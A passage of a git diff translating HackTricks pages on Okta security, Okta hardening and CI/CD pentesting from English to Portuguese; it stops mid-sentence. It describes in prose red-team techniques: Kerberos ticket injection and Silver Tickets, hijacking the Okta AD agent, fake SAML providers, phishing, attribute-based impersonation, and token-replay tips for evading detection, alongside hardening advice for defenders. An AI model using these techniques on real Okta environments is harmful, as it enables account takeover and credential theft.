**Okta Identity Cloud**. This platform encompasses a suite of products, including but not limited to: +A oferta principal da Okta é a **Okta Identity Cloud**. Esta plataforma abrange um conjunto de produtos, incluindo, mas não se limitando a: -- **Single Sign-On (SSO)**: Simplifies user access by allowing one set of login credentials across multiple applications. -- **Multi-Factor Authentication (MFA)**: Enhances security by requiring multiple forms of verification. -- **Lifecycle Management**: Automates user account creation, update, and deactivation processes. -- **Universal Directory**: Enables centralized management of users, groups, and devices. -- **API Access Management**: Secures and manages access to APIs. +- **Single Sign-On (SSO)**: Simplifica o acesso do usuário permitindo um conjunto de credenciais de login em várias aplicações. +- **Multi-Factor Authentication (MFA)**: Aumenta a segurança exigindo múltiplas formas de verificação. +- **Lifecycle Management**: Automatiza os processos de criação, atualização e desativação de contas de usuário. +- **Universal Directory**: Permite o gerenciamento centralizado de usuários, grupos e dispositivos. +- **API Access Management**: Protege e gerencia o acesso às APIs. -These services collectively aim to fortify data protection and streamline user access, enhancing both security and convenience. The versatility of Okta's solutions makes them a popular choice across various industries, beneficial to large enterprises, small companies, and individual developers alike. As of the last update in September 2021, Okta is acknowledged as a prominent entity in the Identity and Access Management (IAM) arena. +Esses serviços visam coletivamente fortalecer a proteção de dados e simplificar o acesso do usuário, melhorando tanto a segurança quanto a conveniência. A versatilidade das soluções da Okta as torna uma escolha popular em várias indústrias, beneficiando grandes empresas, pequenas empresas e desenvolvedores individuais. Até a última atualização em setembro de 2021, a Okta é reconhecida como uma entidade proeminente na área de Gerenciamento de Identidade e Acesso (IAM). > [!CAUTION] -> The main gola of Okta is to configure access to different users and groups to external applications. If you manage to **compromise administrator privileges in an Oktas** environment, you will highly probably able to **compromise all the other platforms the company is using**. +> O principal objetivo da Okta é configurar o acesso a diferentes usuários e grupos para aplicações externas. Se você conseguir **comprometer privilégios de administrador em um ambiente Okta**, você provavelmente será capaz de **comprometer todas as outras plataformas que a empresa está usando**. > [!TIP] -> To perform a security review of an Okta environment you should ask for **administrator read-only access**. +> Para realizar uma revisão de segurança de um ambiente Okta, você deve solicitar **acesso somente leitura de administrador**. ### Summary -There are **users** (which can be **stored in Okta,** logged from configured **Identity Providers** or authenticated via **Active Directory** or LDAP).\ -These users can be inside **groups**.\ -There are also **authenticators**: different options to authenticate like password, and several 2FA like WebAuthn, email, phone, okta verify (they could be enabled or disabled)... +Existem **usuários** (que podem ser **armazenados na Okta,** logados de **Provedores de Identidade** configurados ou autenticados via **Active Directory** ou LDAP).\ +Esses usuários podem estar dentro de **grupos**.\ +Existem também **autenticadores**: diferentes opções para autenticar como senha e vários 2FA como WebAuthn, email, telefone, okta verify (podem estar habilitados ou desabilitados)... -Then, there are **applications** synchronized with Okta. Each applications will have some **mapping with Okta** to share information (such as email addresses, first names...). Moreover, each application must be inside an **Authentication Policy**, which indicates the **needed authenticators** for a user to **access** the application. +Então, existem **aplicações** sincronizadas com a Okta. Cada aplicação terá algum **mapeamento com a Okta** para compartilhar informações (como endereços de email, primeiros nomes...). Além disso, cada aplicação deve estar dentro de uma **Política de Autenticação**, que indica os **autenticadores necessários** para um usuário **acessar** a aplicação. > [!CAUTION] -> The most powerful role is **Super Administrator**. +> O papel mais poderoso é **Super Administrador**. > -> If an attacker compromise Okta with Administrator access, all the **apps trusting Okta** will be highly probably **compromised**. +> Se um atacante comprometer a Okta com acesso de Administrador, todos os **apps que confiam na Okta** provavelmente estarão **comprometidos**. ## Attacks ### Locating Okta Portal -Usually the portal of a company will be located in **companyname.okta.com**. If not, try simple **variations** of **companyname.** If you cannot find it, it's also possible that the organization has a **CNAME** record like **`okta.companyname.com`** pointing to the **Okta portal**. +Geralmente, o portal de uma empresa estará localizado em **companyname.okta.com**. Se não, tente variações simples de **companyname.** Se você não conseguir encontrá-lo, também é possível que a organização tenha um registro **CNAME** como **`okta.companyname.com`** apontando para o **portal Okta**. ### Login in Okta via Kerberos -If **`companyname.kerberos.okta.com`** is active, **Kerberos is used for Okta access**, typically bypassing **MFA** for **Windows** users. To find Kerberos-authenticated Okta users in AD, run **`getST.py`** with **appropriate parameters**. Upon obtaining an **AD user ticket**, **inject** it into a controlled host using tools like Rubeus or Mimikatz, ensuring **`clientname.kerberos.okta.com` is in the Internet Options "Intranet" zone**. Accessing a specific URL should return a JSON "OK" response, indicating Kerberos ticket acceptance, and granting access to the Okta dashboard. +Se **`companyname.kerberos.okta.com`** estiver ativo, **Kerberos é usado para acesso à Okta**, geralmente contornando **MFA** para usuários **Windows**. Para encontrar usuários Okta autenticados por Kerberos no AD, execute **`getST.py`** com **parâmetros apropriados**. Após obter um **ticket de usuário AD**, **injete**-o em um host controlado usando ferramentas como Rubeus ou Mimikatz, garantindo que **`clientname.kerberos.okta.com` esteja na zona "Intranet" das Opções de Internet**. Acessar uma URL específica deve retornar uma resposta JSON "OK", indicando a aceitação do ticket Kerberos e concedendo acesso ao painel da Okta. -Compromising the **Okta service account with the delegation SPN enables a Silver Ticket attack.** However, Okta's use of **AES** for ticket encryption requires possessing the AES key or plaintext password. Use **`ticketer.py` to generate a ticket for the victim user** and deliver it via the browser to authenticate with Okta. +Comprometer a **conta de serviço Okta com o SPN de delegação permite um ataque de Silver Ticket.** No entanto, o uso de **AES** pela Okta para criptografia de tickets requer possuir a chave AES ou a senha em texto claro. Use **`ticketer.py` para gerar um ticket para o usuário vítima** e entregá-lo via navegador para autenticar com a Okta. -**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**Verifique o ataque em** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** ### Hijacking Okta AD Agent -This technique involves **accessing the Okta AD Agent on a server**, which **syncs users and handles authentication**. By examining and decrypting configurations in **`OktaAgentService.exe.config`**, notably the AgentToken using **DPAPI**, an attacker can potentially **intercept and manipulate authentication data**. This allows not only **monitoring** and **capturing user credentials** in plaintext during the Okta authentication process but also **responding to authentication attempts**, thereby enabling unauthorized access or providing universal authentication through Okta (akin to a 'skeleton key'). +Esta técnica envolve **acessar o Okta AD Agent em um servidor**, que **sincroniza usuários e lida com autenticação**. Ao examinar e descriptografar configurações em **`OktaAgentService.exe.config`**, notavelmente o AgentToken usando **DPAPI**, um atacante pode potencialmente **interceptar e manipular dados de autenticação**. Isso permite não apenas **monitorar** e **capturar credenciais de usuário** em texto claro durante o processo de autenticação da Okta, mas também **responder a tentativas de autenticação**, permitindo assim acesso não autorizado ou fornecendo autenticação universal através da Okta (semelhante a uma 'chave mestra'). -**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**Verifique o ataque em** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** ### Hijacking AD As an Admin -This technique involves hijacking an Okta AD Agent by first obtaining an OAuth Code, then requesting an API token. The token is associated with an AD domain, and a **connector is named to establish a fake AD agent**. Initialization allows the agent to **process authentication attempts**, capturing credentials via the Okta API. Automation tools are available to streamline this process, offering a seamless method to intercept and handle authentication data within the Okta environment. +Esta técnica envolve sequestrar um Okta AD Agent obtendo primeiro um Código OAuth, e então solicitando um token de API. O token está associado a um domínio AD, e um **conector é nomeado para estabelecer um agente AD falso**. A inicialização permite que o agente **processe tentativas de autenticação**, capturando credenciais via API da Okta. Ferramentas de automação estão disponíveis para agilizar esse processo, oferecendo um método contínuo para interceptar e lidar com dados de autenticação dentro do ambiente Okta. -**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**Verifique o ataque em** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** ### Okta Fake SAML Provider -**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** +**Verifique o ataque em** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** -The technique involves **deploying a fake SAML provider**. By integrating an external Identity Provider (IdP) within Okta's framework using a privileged account, attackers can **control the IdP, approving any authentication request at will**. The process entails setting up a SAML 2.0 IdP in Okta, manipulating the IdP Single Sign-On URL for redirection via local hosts file, generating a self-signed certificate, and configuring Okta settings to match against the username or email. Successfully executing these steps allows for authentication as any Okta user, bypassing the need for individual user credentials, significantly elevating access control in a potentially unnoticed manner. +A técnica envolve **implantar um provedor SAML falso**. Ao integrar um Provedor de Identidade (IdP) externo dentro da estrutura da Okta usando uma conta privilegiada, os atacantes podem **controlar o IdP, aprovando qualquer solicitação de autenticação à vontade**. O processo envolve configurar um IdP SAML 2.0 na Okta, manipulando a URL de Single Sign-On do IdP para redirecionamento via arquivo de hosts local, gerando um certificado autoassinado e configurando as configurações da Okta para corresponder ao nome de usuário ou email. Executar com sucesso esses passos permite autenticação como qualquer usuário da Okta, contornando a necessidade de credenciais individuais de usuário, elevando significativamente o controle de acesso de maneira potencialmente não percebida. ### Phishing Okta Portal with Evilgnix -In [**this blog post**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) is explained how to prepare a phishing campaign against an Okta portal. +Em [**este post do blog**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) é explicado como preparar uma campanha de phishing contra um portal Okta. ### Colleague Impersonation Attack -The **attributes that each user can have and modify** (like email or first name) can be configured in Okta. If an **application** is **trusting** as ID an **attribute** that the user can **modify**, he will be able to **impersonate other users in that platform**. +Os **atributos que cada usuário pode ter e modificar** (como email ou primeiro nome) podem ser configurados na Okta. Se uma **aplicação** estiver **confiando** como ID um **atributo** que o usuário pode **modificar**, ele poderá **impersonar outros usuários nessa plataforma**. -Therefore, if the app is trusting the field **`userName`**, you probably won't be able to change it (because you usually cannot change that field), but if it's trusting for example **`primaryEmail`** you might be able to **change it to a colleagues email address** and impersonate it (you will need to have access to the email and accept the change). +Portanto, se o app estiver confiando no campo **`userName`**, você provavelmente não conseguirá mudá-lo (porque geralmente não é possível alterar esse campo), mas se estiver confiando, por exemplo, em **`primaryEmail`**, você pode ser capaz de **mudá-lo para o endereço de email de um colega** e impersoná-lo (você precisará ter acesso ao email e aceitar a mudança). -Note that this impersoantion depends on how each application was condigured. Only the ones trusting the field you modified and accepting updates will be compromised.\ -Therefore, the app should have this field enabled if it exists: +Note que essa impersonação depende de como cada aplicação foi configurada. Apenas aquelas que confiam no campo que você modificou e aceitam atualizações serão comprometidas.\ +Portanto, o app deve ter esse campo habilitado se existir:
-I have also seen other apps that were vulnerable but didn't have that field in the Okta settings (at the end different apps are configured differently). +Eu também vi outros apps que eram vulneráveis, mas não tinham esse campo nas configurações da Okta (no final, diferentes apps são configurados de maneira diferente). -The best way to find out if you could impersonate anyone on each app would be to try it! +A melhor maneira de descobrir se você poderia impersonar alguém em cada app seria tentar! ## Evading behavioural detection policies -Behavioral detection policies in Okta might be unknown until encountered, but **bypassing** them can be achieved by **targeting Okta applications directly**, avoiding the main Okta dashboard. With an **Okta access token**, replay the token at the **application-specific Okta URL** instead of the main login page. +As políticas de detecção comportamental na Okta podem ser desconhecidas até serem encontradas, mas **contorná-las** pode ser alcançado **direcionando aplicações Okta diretamente**, evitando o painel principal da Okta. Com um **token de acesso Okta**, reproduza o token na **URL específica da aplicação Okta** em vez da página principal de login. -Key recommendations include: +As principais recomendações incluem: -- **Avoid using** popular anonymizer proxies and VPN services when replaying captured access tokens. -- Ensure **consistent user-agent strings** between the client and replayed access tokens. -- **Refrain from replaying** tokens from different users from the same IP address. -- Exercise caution when replaying tokens against the Okta dashboard. -- If aware of the victim company's IP addresses, **restrict traffic** to those IPs or their range, blocking all other traffic. +- **Evitar usar** proxies de anonimização populares e serviços de VPN ao reproduzir tokens de acesso capturados. +- Garantir **strings de agente de usuário consistentes** entre o cliente e os tokens de acesso reproduzidos. +- **Evitar reproduzir** tokens de diferentes usuários do mesmo endereço IP. +- Ter cautela ao reproduzir tokens contra o painel da Okta. +- Se souber os endereços IP da empresa vítima, **restrinja o tráfego** para esses IPs ou seu intervalo, bloqueando todo o outro tráfego. ## Okta Hardening -Okta has a lot of possible configurations, in this page you will find how to review them so they are as secure as possible: +A Okta tem muitas configurações possíveis, nesta página você encontrará como revisá-las para que sejam o mais seguras possível: {{#ref}} okta-hardening.md @@ -112,7 +112,3 @@ okta-hardening.md - [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md index a7dac96a7..f3519c6a8 100644 --- a/src/pentesting-ci-cd/okta-security/okta-hardening.md +++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md @@ -6,72 +6,72 @@ ### People -From an attackers perspective, this is super interesting as you will be able to see **all the users registered**, their **email** addresses, the **groups** they are part of, **profiles** and even **devices** (mobiles along with their OSs). +Do ponto de vista de um atacante, isso é super interessante, pois você poderá ver **todos os usuários registrados**, seus **endereços de e-mail**, os **grupos** dos quais fazem parte, **perfis** e até **dispositivos** (móveis junto com seus sistemas operacionais). -For a whitebox review check that there aren't several "**Pending user action**" and "**Password reset**". +Para uma revisão de caixa branca, verifique se não há várias "**Ação do usuário pendente**" e "**Redefinição de senha**". ### Groups -This is where you find all the created groups in Okta. it's interesting to understand the different groups (set of **permissions**) that could be granted to **users**.\ -It's possible to see the **people included inside groups** and **apps assigned** to each group. +Aqui é onde você encontra todos os grupos criados no Okta. É interessante entender os diferentes grupos (conjunto de **permissões**) que podem ser concedidos aos **usuários**.\ +É possível ver as **pessoas incluídas nos grupos** e os **aplicativos atribuídos** a cada grupo. -Ofc, any group with the name of **admin** is interesting, specially the group **Global Administrators,** check the members to learn who are the most privileged members. +Claro, qualquer grupo com o nome de **admin** é interessante, especialmente o grupo **Administradores Globais**, verifique os membros para saber quem são os membros mais privilegiados. -From a whitebox review, there **shouldn't be more than 5 global admins** (better if there are only 2 or 3). +De uma revisão de caixa branca, **não deve haver mais de 5 administradores globais** (melhor se houver apenas 2 ou 3). ### Devices -Find here a **list of all the devices** of all the users. You can also see if it's being **actively managed** or not. +Encontre aqui uma **lista de todos os dispositivos** de todos os usuários. Você também pode ver se está sendo **gerenciado ativamente** ou não. ### Profile Editor -Here is possible to observe how key information such as first names, last names, emails, usernames... are shared between Okta and other applications. This is interesting because if a user can **modify in Okta a field** (such as his name or email) that then is used by an **external application** to **identify** the user, an insider could try to **take over other accounts**. +Aqui é possível observar como informações chave, como nomes, sobrenomes, e-mails, nomes de usuário... são compartilhadas entre o Okta e outras aplicações. Isso é interessante porque, se um usuário puder **modificar em Okta um campo** (como seu nome ou e-mail) que depois é usado por uma **aplicação externa** para **identificar** o usuário, um insider poderia tentar **assumir outras contas**. -Moreover, in the profile **`User (default)`** from Okta you can see **which fields** each **user** has and which ones are **writable** by users. If you cannot see the admin panel, just go to **update your profile** information and you will see which fields you can update (note that to update an email address you will need to verify it). +Além disso, no perfil **`User (default)`** do Okta, você pode ver **quais campos** cada **usuário** possui e quais são **graváveis** pelos usuários. Se você não conseguir ver o painel de administração, basta ir para **atualizar suas informações de perfil** e você verá quais campos pode atualizar (note que para atualizar um endereço de e-mail, você precisará verificá-lo). ### Directory Integrations -Directories allow you to import people from existing sources. I guess here you will see the users imported from other directories. +Os diretórios permitem que você importe pessoas de fontes existentes. Eu imagino que aqui você verá os usuários importados de outros diretórios. -I haven't seen it, but I guess this is interesting to find out **other directories that Okta is using to import users** so if you **compromise that directory** you could set some attributes values in the users created in Okta and **maybe compromise the Okta env**. +Eu não vi isso, mas imagino que seja interessante descobrir **outros diretórios que o Okta está usando para importar usuários**, então, se você **comprometer esse diretório**, poderia definir alguns valores de atributos nos usuários criados no Okta e **talvez comprometer o ambiente do Okta**. ### Profile Sources -A profile source is an **application that acts as a source of truth** for user profile attributes. A user can only be sourced by a single application or directory at a time. +Uma fonte de perfil é uma **aplicação que atua como uma fonte de verdade** para atributos de perfil de usuário. Um usuário pode ser originado apenas por um único aplicativo ou diretório de cada vez. -I haven't seen it, so any information about security and hacking regarding this option is appreciated. +Eu não vi isso, então qualquer informação sobre segurança e hacking em relação a essa opção é apreciada. ## Customizations ### Brands -Check in the **Domains** tab of this section the email addresses used to send emails and the custom domain inside Okta of the company (which you probably already know). +Verifique na aba **Domains** desta seção os endereços de e-mail usados para enviar e-mails e o domínio personalizado dentro do Okta da empresa (que você provavelmente já conhece). -Moreover, in the **Setting** tab, if you are admin, you can "**Use a custom sign-out page**" and set a custom URL. +Além disso, na aba **Setting**, se você for administrador, pode "**Usar uma página de logout personalizada**" e definir uma URL personalizada. ### SMS -Nothing interesting here. +Nada interessante aqui. ### End-User Dashboard -You can find here applications configured, but we will see the details of those later in a different section. +Você pode encontrar aqui aplicativos configurados, mas veremos os detalhes deles mais tarde em uma seção diferente. ### Other -Interesting setting, but nothing super interesting from a security point of view. +Configuração interessante, mas nada super interessante do ponto de vista de segurança. ## Applications ### Applications -Here you can find all the **configured applications** and their details: Who has access to them, how is it configured (SAML, OPenID), URL to login, the mappings between Okta and the application... +Aqui você pode encontrar todos os **aplicativos configurados** e seus detalhes: Quem tem acesso a eles, como está configurado (SAML, OpenID), URL para login, os mapeamentos entre Okta e o aplicativo... -In the **`Sign On`** tab there is also a field called **`Password reveal`** that would allow a user to **reveal his password** when checking the application settings. To check the settings of an application from the User Panel, click the 3 dots: +Na aba **`Sign On`** também há um campo chamado **`Password reveal`** que permitiria a um usuário **revelar sua senha** ao verificar as configurações do aplicativo. Para verificar as configurações de um aplicativo a partir do Painel do Usuário, clique nos 3 pontos:
-And you could see some more details about the app (like the password reveal feature, if it's enabled): +E você poderia ver mais detalhes sobre o aplicativo (como o recurso de revelação de senha, se está habilitado):
@@ -79,125 +79,121 @@ And you could see some more details about the app (like the password reveal feat ### Access Certifications -Use Access Certifications to create audit campaigns to review your users' access to resources periodically and approve or revoke access automatically when required. +Use as Certificações de Acesso para criar campanhas de auditoria para revisar o acesso dos seus usuários a recursos periodicamente e aprovar ou revogar o acesso automaticamente quando necessário. -I haven't seen it used, but I guess that from a defensive point of view it's a nice feature. +Eu não vi isso sendo usado, mas imagino que, do ponto de vista defensivo, seja um bom recurso. ## Security ### General -- **Security notification emails**: All should be enabled. -- **CAPTCHA integration**: It's recommended to set at least the invisible reCaptcha -- **Organization Security**: Everything can be enabled and activation emails shouldn't last long (7 days is ok) -- **User enumeration prevention**: Both should be enabled - - Note that User Enumeration Prevention doesn't take effect if either of the following conditions are allowed (See [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) for more information): - - Self-Service Registration - - JIT flows with email authentication -- **Okta ThreatInsight settings**: Log and enforce security based on threat level +- **E-mails de notificação de segurança**: Todos devem estar habilitados. +- **Integração CAPTCHA**: É recomendado definir pelo menos o reCaptcha invisível. +- **Segurança da Organização**: Tudo pode ser habilitado e os e-mails de ativação não devem demorar muito (7 dias está ok). +- **Prevenção de enumeração de usuários**: Ambos devem estar habilitados. +- Note que a Prevenção de Enumeração de Usuários não tem efeito se qualquer uma das seguintes condições for permitida (veja [Gerenciamento de usuários](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) para mais informações): +- Registro de Autoatendimento +- Fluxos JIT com autenticação por e-mail +- **Configurações do Okta ThreatInsight**: Registrar e impor segurança com base no nível de ameaça. ### HealthInsight -Here is possible to find correctly and **dangerous** configured **settings**. +Aqui é possível encontrar configurações **corretamente** e **perigosamente** configuradas. ### Authenticators -Here you can find all the authentication methods that a user could use: Password, phone, email, code, WebAuthn... Clicking in the Password authenticator you can see the **password policy**. Check that it's strong. +Aqui você pode encontrar todos os métodos de autenticação que um usuário poderia usar: Senha, telefone, e-mail, código, WebAuthn... Clicando no autenticador de Senha, você pode ver a **política de senha**. Verifique se é forte. -In the **Enrollment** tab you can see how the ones that are required or optinal: +Na aba **Enrollment** você pode ver como os que são obrigatórios ou opcionais:
-It's recommendatble to disable Phone. The strongest ones are probably a combination of password, email and WebAuthn. +É recomendável desabilitar o telefone. Os mais fortes são provavelmente uma combinação de senha, e-mail e WebAuthn. ### Authentication policies -Every app has an authentication policy. The authentication policy verifies that users who try to sign in to the app meet specific conditions, and it enforces factor requirements based on those conditions. +Cada aplicativo tem uma política de autenticação. A política de autenticação verifica se os usuários que tentam fazer login no aplicativo atendem a condições específicas e impõe requisitos de fator com base nessas condições. -Here you can find the **requirements to access each application**. It's recommended to request at least password and another method for each application. But if as attacker you find something more weak you might be able to attack it. +Aqui você pode encontrar os **requisitos para acessar cada aplicativo**. É recomendado solicitar pelo menos senha e outro método para cada aplicativo. Mas se como atacante você encontrar algo mais fraco, pode ser capaz de atacá-lo. ### Global Session Policy -Here you can find the session policies assigned to different groups. For example: +Aqui você pode encontrar as políticas de sessão atribuídas a diferentes grupos. Por exemplo:
-It's recommended to request MFA, limit the session lifetime to some hours, don't persis session cookies across browser extensions and limit the location and Identity Provider (if this is possible). For example, if every user should be login from a country you could only allow this location. +É recomendado solicitar MFA, limitar a duração da sessão a algumas horas, não persistir cookies de sessão em extensões de navegador e limitar a localização e o Provedor de Identidade (se isso for possível). Por exemplo, se cada usuário deve fazer login de um país específico, você poderia permitir apenas essa localização. ### Identity Providers -Identity Providers (IdPs) are services that **manage user accounts**. Adding IdPs in Okta enables your end users to **self-register** with your custom applications by first authenticating with a social account or a smart card. +Os Provedores de Identidade (IdPs) são serviços que **gerenciam contas de usuário**. Adicionar IdPs no Okta permite que seus usuários finais **se registrem** em seus aplicativos personalizados, autenticando-se primeiro com uma conta social ou um cartão inteligente. -On the Identity Providers page, you can add social logins (IdPs) and configure Okta as a service provider (SP) by adding inbound SAML. After you've added IdPs, you can set up routing rules to direct users to an IdP based on context, such as the user's location, device, or email domain. +Na página dos Provedores de Identidade, você pode adicionar logins sociais (IdPs) e configurar o Okta como um provedor de serviços (SP) adicionando SAML de entrada. Depois de adicionar IdPs, você pode configurar regras de roteamento para direcionar usuários a um IdP com base no contexto, como a localização do usuário, dispositivo ou domínio de e-mail. -**If any identity provider is configured** from an attackers and defender point of view check that configuration and **if the source is really trustable** as an attacker compromising it could also get access to the Okta environment. +**Se algum provedor de identidade estiver configurado**, do ponto de vista de um atacante e defensor, verifique essa configuração e **se a fonte é realmente confiável**, pois um atacante comprometendo-a também poderia obter acesso ao ambiente do Okta. ### Delegated Authentication -Delegated authentication allows users to sign in to Okta by entering credentials for their organization's **Active Directory (AD) or LDAP** server. +A autenticação delegada permite que os usuários façam login no Okta inserindo credenciais para o servidor **Active Directory (AD) ou LDAP** de sua organização. -Again, recheck this, as an attacker compromising an organizations AD could be able to pivot to Okta thanks to this setting. +Novamente, verifique isso, pois um atacante comprometendo o AD de uma organização poderia ser capaz de pivotar para o Okta graças a essa configuração. ### Network -A network zone is a configurable boundary that you can use to **grant or restrict access to computers and devices** in your organization based on the **IP address** that is requesting access. You can define a network zone by specifying one or more individual IP addresses, ranges of IP addresses, or geographic locations. +Uma zona de rede é um limite configurável que você pode usar para **conceder ou restringir acesso a computadores e dispositivos** em sua organização com base no **endereço IP** que está solicitando acesso. Você pode definir uma zona de rede especificando um ou mais endereços IP individuais, intervalos de endereços IP ou locais geográficos. -After you define one or more network zones, you can **use them in Global Session Policies**, **authentication policies**, VPN notifications, and **routing rules**. +Depois de definir uma ou mais zonas de rede, você pode **usá-las em Políticas de Sessão Globais**, **políticas de autenticação**, notificações de VPN e **regras de roteamento**. -From an attackers perspective it's interesting to know which Ps are allowed (and check if any **IPs are more privileged** than others). From an attackers perspective, if the users should be accessing from an specific IP address or region check that this feature is used properly. +Do ponto de vista de um atacante, é interessante saber quais IPs são permitidos (e verificar se algum **IP é mais privilegiado** que outros). Do ponto de vista de um atacante, se os usuários devem acessar de um endereço IP ou região específica, verifique se esse recurso está sendo usado corretamente. ### Device Integrations -- **Endpoint Management**: Endpoint management is a condition that can be applied in an authentication policy to ensure that managed devices have access to an application. - - I haven't seen this used yet. TODO -- **Notification services**: I haven't seen this used yet. TODO +- **Gerenciamento de Endpoint**: O gerenciamento de endpoint é uma condição que pode ser aplicada em uma política de autenticação para garantir que dispositivos gerenciados tenham acesso a um aplicativo. +- Eu ainda não vi isso sendo usado. TODO +- **Serviços de notificação**: Eu ainda não vi isso sendo usado. TODO ### API -You can create Okta API tokens in this page, and see the ones that have been **created**, theirs **privileges**, **expiration** time and **Origin URLs**. Note that an API tokens are generated with the permissions of the user that created the token and are valid only if the **user** who created them is **active**. +Você pode criar tokens de API do Okta nesta página e ver os que foram **criados**, suas **permissões**, **tempo de expiração** e **URLs de Origem**. Note que os tokens de API são gerados com as permissões do usuário que criou o token e são válidos apenas se o **usuário** que os criou estiver **ativo**. -The **Trusted Origins** grant access to websites that you control and trust to access your Okta org through the Okta API. +Os **Origens Confiáveis** concedem acesso a sites que você controla e confia para acessar sua organização Okta através da API do Okta. -There shuoldn't be a lot of API tokens, as if there are an attacker could try to access them and use them. +Não deve haver muitos tokens de API, pois, se houver, um atacante poderia tentar acessá-los e usá-los. ## Workflow ### Automations -Automations allow you to create automated actions that run based on a set of trigger conditions that occur during the lifecycle of end users. +As automações permitem que você crie ações automatizadas que são executadas com base em um conjunto de condições de gatilho que ocorrem durante o ciclo de vida dos usuários finais. -For example a condition could be "User inactivity in Okta" or "User password expiration in Okta" and the action could be "Send email to the user" or "Change user lifecycle state in Okta". +Por exemplo, uma condição poderia ser "Inatividade do usuário no Okta" ou "Expiração da senha do usuário no Okta" e a ação poderia ser "Enviar e-mail para o usuário" ou "Alterar o estado do ciclo de vida do usuário no Okta". ## Reports ### Reports -Download logs. They are **sent** to the **email address** of the current account. +Baixe logs. Eles são **enviados** para o **endereço de e-mail** da conta atual. ### System Log -Here you can find the **logs of the actions performed by users** with a lot of details like login in Okta or in applications through Okta. +Aqui você pode encontrar os **logs das ações realizadas pelos usuários** com muitos detalhes, como login no Okta ou em aplicativos através do Okta. ### Import Monitoring -This can **import logs from the other platforms** accessed with Okta. +Isso pode **importar logs de outras plataformas** acessadas com o Okta. ### Rate limits -Check the API rate limits reached. +Verifique os limites de taxa da API alcançados. ## Settings ### Account -Here you can find **generic information** about the Okta environment, such as the company name, address, **email billing contact**, **email technical contact** and also who should receive Okta updates and which kind of Okta updates. +Aqui você pode encontrar **informações genéricas** sobre o ambiente do Okta, como o nome da empresa, endereço, **contato de cobrança por e-mail**, **contato técnico por e-mail** e também quem deve receber atualizações do Okta e que tipo de atualizações do Okta. ### Downloads -Here you can download Okta agents to sync Okta with other technologies. +Aqui você pode baixar agentes do Okta para sincronizar o Okta com outras tecnologias. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md index 41899af04..d7e39bb16 100644 --- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md +++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md @@ -6,103 +6,99 @@ ## VCS -VCS stands for **Version Control System**, this systems allows developers to **manage their source code**. The most common one is **git** and you will usually find companies using it in one of the following **platforms**: +VCS significa **Sistema de Controle de Versão**, esses sistemas permitem que os desenvolvedores **gerenciem seu código-fonte**. O mais comum é **git** e você geralmente encontrará empresas usando-o em uma das seguintes **plataformas**: - Github - Gitlab - Bitbucket - Gitea -- Cloud providers (they offer their own VCS platforms) +- Provedores de nuvem (eles oferecem suas próprias plataformas VCS) ## CI/CD Pipelines -CI/CD pipelines enable developers to **automate the execution of code** for various purposes, including building, testing, and deploying applications. These automated workflows are **triggered by specific actions**, such as code pushes, pull requests, or scheduled tasks. They are useful for streamlining the process from development to production. +Os pipelines CI/CD permitem que os desenvolvedores **automatizem a execução de código** para vários propósitos, incluindo construção, teste e implantação de aplicações. Esses fluxos de trabalho automatizados são **ativados por ações específicas**, como pushes de código, pull requests ou tarefas agendadas. Eles são úteis para agilizar o processo do desenvolvimento à produção. -However, these systems need to be **executed somewhere** and usually with **privileged credentials to deploy code or access sensitive information**. +No entanto, esses sistemas precisam ser **executados em algum lugar** e geralmente com **credenciais privilegiadas para implantar código ou acessar informações sensíveis**. ## VCS Pentesting Methodology > [!NOTE] -> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code. +> Mesmo que algumas plataformas VCS permitam criar pipelines, nesta seção vamos analisar apenas ataques potenciais ao controle do código-fonte. -Platforms that contains the source code of your project contains sensitive information and people need to be very careful with the permissions granted inside this platform. These are some common problems across VCS platforms that attacker could abuse: +Plataformas que contêm o código-fonte do seu projeto contêm informações sensíveis e as pessoas precisam ter muito cuidado com as permissões concedidas dentro dessa plataforma. Estes são alguns problemas comuns em plataformas VCS que um atacante poderia explorar: -- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks. -- **Access**: If an attacker can **access to an account inside the VCS platform** he could gain **more visibility and permissions**. - - **Register**: Some platforms will just allow external users to create an account. - - **SSO**: Some platforms won't allow users to register, but will allow anyone to access with a valid SSO (so an attacker could use his github account to enter for example). - - **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... there are several kind of tokens a user could steal to access in some way a repo. -- **Webhooks**: VCS platforms allow to generate webhooks. If they are **not protected** with non visible secrets an **attacker could abuse them**. - - If no secret is in place, the attacker could abuse the webhook of the third party platform - - If the secret is in the URL, the same happens and the attacker also have the secret -- **Code compromise:** If a malicious actor has some kind of **write** access over the repos, he could try to **inject malicious code**. In order to be successful he 